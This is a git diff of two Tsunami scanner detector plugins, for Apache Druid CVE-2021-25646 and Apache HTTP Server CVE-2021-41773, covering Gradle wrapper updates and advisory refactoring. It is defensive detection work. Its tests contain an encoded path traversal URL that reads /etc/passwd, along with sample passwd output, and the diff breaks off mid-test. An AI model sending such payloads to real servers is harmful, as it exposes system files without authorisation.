b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew.bat +++ b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java index 791a38f0d..65acae0bd 100644 --- a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java +++ b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java @@ -49,24 +49,22 @@ import java.util.regex.Pattern; import javax.inject.Inject; -/** - * A {@link VulnDetector} that detects the CVE-2021-25646 vulnerability. - */ +/** A {@link VulnDetector} that detects the CVE-2021-25646 vulnerability. */ @PluginInfo( type = PluginType.VULN_DETECTION, name = "ApacheDruidPreAuthRCECVE202125646VulnDetector", version = "1.0", - description = "This detector checks for Apache Druid <= 0.20.0 CVE-2021-25646 " - + "Pre-Auth RCE vulnerability.", + description = + "This detector checks for Apache Druid <= 0.20.0 CVE-2021-25646 " + + "Pre-Auth RCE vulnerability.", author = "threedr3am (qiaoer1320@gmail.com)", - bootstrapModule = ApacheDruidPreAuthRCECVE202125646VulnDetectorBootstrapModule.class -) + bootstrapModule = ApacheDruidPreAuthRCECVE202125646VulnDetectorBootstrapModule.class) public class ApacheDruidPreAuthRCECVE202125646VulnDetector implements VulnDetector { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private static final String CHECK_VUL_PATH = "druid/indexer/v1/sampler"; - private static final Pattern VULNERABILITY_RESPONSE_PATTERN = Pattern.compile( - "uid=.+?gid=.+?groups=.+?"); + private static final Pattern VULNERABILITY_RESPONSE_PATTERN = + Pattern.compile("uid=.+?gid=.+?groups=.+?"); private final Clock utcClock; private final HttpClient httpClient; @@ -78,8 +76,8 @@ public class ApacheDruidPreAuthRCECVE202125646VulnDetector implements VulnDetect this.httpClient = checkNotNull(httpClient); String payloadString; try { - payloadString = Resources.toString( - Resources.getResource(this.getClass(), "payloadString.json"), UTF_8); + payloadString = + Resources.toString(Resources.getResource(this.getClass(), "payloadString.json"), UTF_8); } catch (IOException e) { throw new AssertionError("Couldn't load payload resource file.", e); } @@ -99,18 +97,50 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_25646")) + .setSeverity(Severity.HIGH) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-25646")) + .setTitle("Apache Druid Pre-Auth RCE vulnerability (CVE-2021-25646)") + .setDescription( + "Apache Druid includes the ability to execute user-provided JavaScript code " + + "embedded in various types of requests. " + + "This functionality is intended for use in high-trust environments, " + + "and is disabled by default. " + + "However, in Druid 0.20.0 and earlier, it is possible for an " + + "authenticated user " + + "to send a specially-crafted request that forces Druid to run " + + "user-provided " + + "JavaScript code for that request, regardless of server configuration. " + + "This can be leveraged to execute code on the target machine with the " + + "privileges of the Druid server process." + + "https://nvd.nist.gov/vuln/detail/CVE-2021-25646") + .setRecommendation("Update 0.20.1 released, or later released.") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { - HttpHeaders httpHeaders = HttpHeaders.builder() - .addHeader(com.google.common.net.HttpHeaders.CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) - .build(); + HttpHeaders httpHeaders = + HttpHeaders.builder() + .addHeader( + com.google.common.net.HttpHeaders.CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) + .build(); ByteString requestBody = ByteString.copyFromUtf8(payloadString); String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; try { - HttpResponse response = httpClient.send( - post(targetUri).setHeaders(httpHeaders).setRequestBody(requestBody).build(), - networkService); + HttpResponse response = + httpClient.send( + post(targetUri).setHeaders(httpHeaders).setRequestBody(requestBody).build(), + networkService); if (response.status() == HttpStatus.OK && response.bodyString().isPresent()) { String responseBody = response.bodyString().get(); if (VULNERABILITY_RESPONSE_PATTERN.matcher(responseBody).find()) { @@ -130,28 +160,7 @@ public DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_25646")) - .setSeverity(Severity.HIGH) - .setTitle("Apache Druid Pre-Auth RCE vulnerability (CVE-2021-25646)") - .setDescription( - "Apache Druid includes the ability to execute user-provided JavaScript code " - + "embedded in various types of requests. " - + "This functionality is intended for use in high-trust environments, " - + "and is disabled by default. " - + "However, in Druid 0.20.0 and earlier, it is possible for an " - + "authenticated user " - + "to send a specially-crafted request that forces Druid to run " - + "user-provided " - + "JavaScript code for that request, regardless of server configuration. " - + "This can be leveraged to execute code on the target machine with the " - + "privileges of the Druid server process." - + "https://nvd.nist.gov/vuln/detail/CVE-2021-25646") - .setRecommendation("Update 0.20.1 released, or later released.") - ) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_http_server_cve_2021_41773/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_http_server_cve_2021_41773/gradlew b/community/detectors/apache_http_server_cve_2021_41773/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/apache_http_server_cve_2021_41773/gradlew +++ b/community/detectors/apache_http_server_cve_2021_41773/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_http_server_cve_2021_41773/gradlew.bat b/community/detectors/apache_http_server_cve_2021_41773/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/apache_http_server_cve_2021_41773/gradlew.bat +++ b/community/detectors/apache_http_server_cve_2021_41773/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheHttpServerCVE202141773VulnDetector.java b/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetector.java similarity index 82% rename from community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheHttpServerCVE202141773VulnDetector.java rename to community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetector.java index 19efe94d2..ac85ab180 100644 --- a/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheHttpServerCVE202141773VulnDetector.java +++ b/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetector.java @@ -1,4 +1,4 @@ -package com.google.tsunami.plugins.detectors.rce.cve202125646; +package com.google.tsunami.plugins.detectors.cve202141773; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; @@ -106,6 +106,37 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_41773")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-41773")) + .setSeverity(Severity.HIGH) + .setTitle("Apache HTTP Server 2.4.49 Path traversal and disclosure vulnerability") + .setDescription( + "A flaw was found in a change made to path normalization in Apache HTTP Server " + + "2.4.49. An attacker could use a path traversal attack to map URLs to " + + "files outside the expected document root. " + + "If files outside of the document root " + + "are not protected by \"require all denied\" these requests can succeed. " + + "Additionally this flaw could leak the source of interpreted files " + + "like CGI scripts. " + + "This issue is known to be exploited in the wild. " + + "This issue affects Apache 2.4.49 and 2.4.50 but not earlier versions. " + + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 " + + "https://httpd.apache.org/security/vulnerabilities_24.html") + .setRecommendation("Update to 2.4.51 release.") + .addAdditionalDetails(details) + .build(); + } + private CheckResult checkService(NetworkService networkService) { for (String dir : COMMON_DIRECTORIES) { for (String payload : COMMON_PAYLOADS) { @@ -146,28 +177,7 @@ private DetectionReport buildDetectionReport(TargetInfo targetInfo, CheckResult .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_41773")) - .setSeverity(Severity.HIGH) - .setTitle("Apache HTTP Server 2.4.49 Path traversal and disclosure vulnerability") - .setDescription( - "A flaw was found in a change made to path normalization in Apache HTTP Server " - + "2.4.49. An attacker could use a path traversal attack to map URLs to " - + "files outside the expected document root. " - + "If files outside of the document root " - + "are not protected by \"require all denied\" these requests can succeed. " - + "Additionally this flaw could leak the source of interpreted files " - + "like CGI scripts. " - + "This issue is known to be exploited in the wild. " - + "This issue affects Apache 2.4.49 and 2.4.50 but not earlier versions. " - + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 " - + "https://httpd.apache.org/security/vulnerabilities_24.html") - .setRecommendation("Update to 2.4.51 release.") - .addAdditionalDetails(buildAdditionalDetail(checkResult))) + .setVulnerability(getAdvisory(buildAdditionalDetail(checkResult))) .build(); } @@ -209,8 +219,11 @@ private AdditionalDetail buildAdditionalDetail(CheckResult checkResult) { @AutoValue abstract static class CheckResult { abstract boolean isVulnerable(); + abstract NetworkService networkService(); + abstract Optional vulnerableUrl(); + abstract Optional response(); static CheckResult buildForVulnerableDetection( diff --git a/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheHttpServerCVE202141773VulnDetectorBootstrapModule.java b/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetectorBootstrapModule.java similarity index 93% rename from community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheHttpServerCVE202141773VulnDetectorBootstrapModule.java rename to community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetectorBootstrapModule.java index 4177691cc..04eebdbd0 100644 --- a/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheHttpServerCVE202141773VulnDetectorBootstrapModule.java +++ b/community/detectors/apache_http_server_cve_2021_41773/src/main/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetectorBootstrapModule.java @@ -13,7 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.detectors.rce.cve202125646; +package com.google.tsunami.plugins.detectors.cve202141773; import com.google.tsunami.plugin.PluginBootstrapModule; diff --git a/community/detectors/apache_http_server_cve_2021_41773/src/test/java/com/google/tsunami/plugins/detectors/cve202125646/ApacheHttpServerCVE202141773VulnDetectorTest.java b/community/detectors/apache_http_server_cve_2021_41773/src/test/java/com/google/tsunami/plugins/detectors/cve202125646/ApacheHttpServerCVE202141773VulnDetectorTest.java deleted file mode 100644 index b22192bae..000000000 --- a/community/detectors/apache_http_server_cve_2021_41773/src/test/java/com/google/tsunami/plugins/detectors/cve202125646/ApacheHttpServerCVE202141773VulnDetectorTest.java +++ /dev/null @@ -1,186 +0,0 @@ -package com.google.tsunami.plugins.detectors.cve202125646; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugins.detectors.rce.cve202125646.ApacheHttpServerCVE202141773VulnDetector; -import com.google.tsunami.proto.AdditionalDetail; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * Unit tests for {@link ApacheHttpServerCVE202141773VulnDetector}. - */ -@RunWith(JUnit4.class) -public final class ApacheHttpServerCVE202141773VulnDetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject - private ApacheHttpServerCVE202141773VulnDetector detector; - - private MockWebServer mockWebServer; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - private void createInjector() { - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build()) - .injectMembers(this); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() - throws IOException { - createInjector(); - mockWebServer.setDispatcher(new VulnerableEndpointDispatcher()); - mockWebServer.start(); - - ImmutableList httpServices = ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - - TargetInfo targetInfo = buildTargetInfo(forHostname(mockWebServer.getHostName())); - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(httpServices.get(0)) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_41773")) - .setSeverity(Severity.HIGH) - .setTitle( - "Apache HTTP Server 2.4.49 Path traversal and disclosure vulnerability") - .setDescription( - "A flaw was found in a change made to path normalization in Apache HTTP" - + " Server 2.4.49. An attacker could use a path traversal attack to" - + " map URLs to files outside the expected document root. If files" - + " outside of the document root are not protected by \"require all" - + " denied\" these requests can succeed. Additionally this flaw" - + " could leak the source of interpreted files like CGI scripts." - + " This issue is known to be exploited in the wild. This issue" - + " affects Apache 2.4.49 and 2.4.50 but not earlier versions." - + " https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773" - + " https://httpd.apache.org/security/vulnerabilities_24.html") - .setRecommendation("Update to 2.4.51 release.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - "Vulnerable target:\n" - + mockWebServer.url("/") - + "admin/%2e%2e/%2e%2e" - + "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e" - + "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n" - + "\n" - + "Response:\n" - + "200 Ok\n" - + "Content-Length: 104\n" - + "\n" - + "root:x:0:0:root:/root:/bin/bash\n" - + "bin:x:1:1:bin:/bin:/sbin/nologin\n" - + "daemon:x:2:2:daemon:/sbin:/sbin/nologin")))) - .build()); - assertThat(mockWebServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_whenNoVulnerable_returnsNoFinding() - throws IOException { - createInjector(); - mockWebServer.setDispatcher(new SafeEndpointDispatcher()); - mockWebServer.start(); - - ImmutableList httpServices = ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - - TargetInfo targetInfo = buildTargetInfo(forHostname(mockWebServer.getHostName())); - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isGreaterThan(1); - } - - - private static final class VulnerableEndpointDispatcher extends Dispatcher { - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - return new MockResponse().setResponseCode(HttpStatus.OK.code()) - .setBody("root:x:0:0:root:/root:/bin/bash\n" - + "bin:x:1:1:bin:/bin:/sbin/nologin\n" - + "daemon:x:2:2:daemon:/sbin:/sbin/nologin"); - } - } - - private static final class SafeEndpointDispatcher extends Dispatcher { - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - if (recordedRequest.getPath().startsWith("/cgi-bin/")) { - return new MockResponse().setResponseCode(HttpStatus.FORBIDDEN.code()); - } - return new MockResponse().setResponseCode(HttpStatus.OK.code()); - } - } - - private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } -} diff --git a/community/detectors/apache_http_server_cve_2021_41773/src/test/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetectorTest.java b/community/detectors/apache_http_server_cve_2021_41773/src/test/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetectorTest.java new file mode 100644 index 000000000..73fd31a14 --- /dev/null +++ b/community/detectors/apache_http_server_cve_2021_41773/src/test/java/com/google/tsunami/plugins/detectors/cve202141773/ApacheHttpServerCVE202141773VulnDetectorTest.java @@ -0,0 +1,160 @@ +package com.google.tsunami.plugins.detectors.cve202141773; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkEndpoint; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link ApacheHttpServerCVE202141773VulnDetector}. */ +@RunWith(JUnit4.class) +public final class ApacheHttpServerCVE202141773VulnDetectorTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + @Inject private ApacheHttpServerCVE202141773VulnDetector detector; + + private MockWebServer mockWebServer; + + @Before + public void setUp() { + mockWebServer = new MockWebServer(); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), new HttpClientModule.Builder().build()) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + createInjector(); + mockWebServer.setDispatcher(new VulnerableEndpointDispatcher()); + mockWebServer.start(); + + ImmutableList httpServices = + ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + + TargetInfo targetInfo = buildTargetInfo(forHostname(mockWebServer.getHostName())); + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(httpServices.get(0)) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + detector.getAdvisory( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + "Vulnerable target:\n" + + mockWebServer.url("/") + + "admin/%2e%2e/%2e%2e" + + "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e" + + "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n" + + "\n" + + "Response:\n" + + "200 Ok\n" + + "Content-Length: 104\n" + + "\n" + + "root:x:0:0:root:/root:/bin/bash\n" + + "bin:x:1:1:bin:/bin:/sbin/nologin\n" + + "daemon:x:2:2:daemon:/sbin:/sbin/nologin")) + .build())) + .build()); + assertThat(mockWebServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void 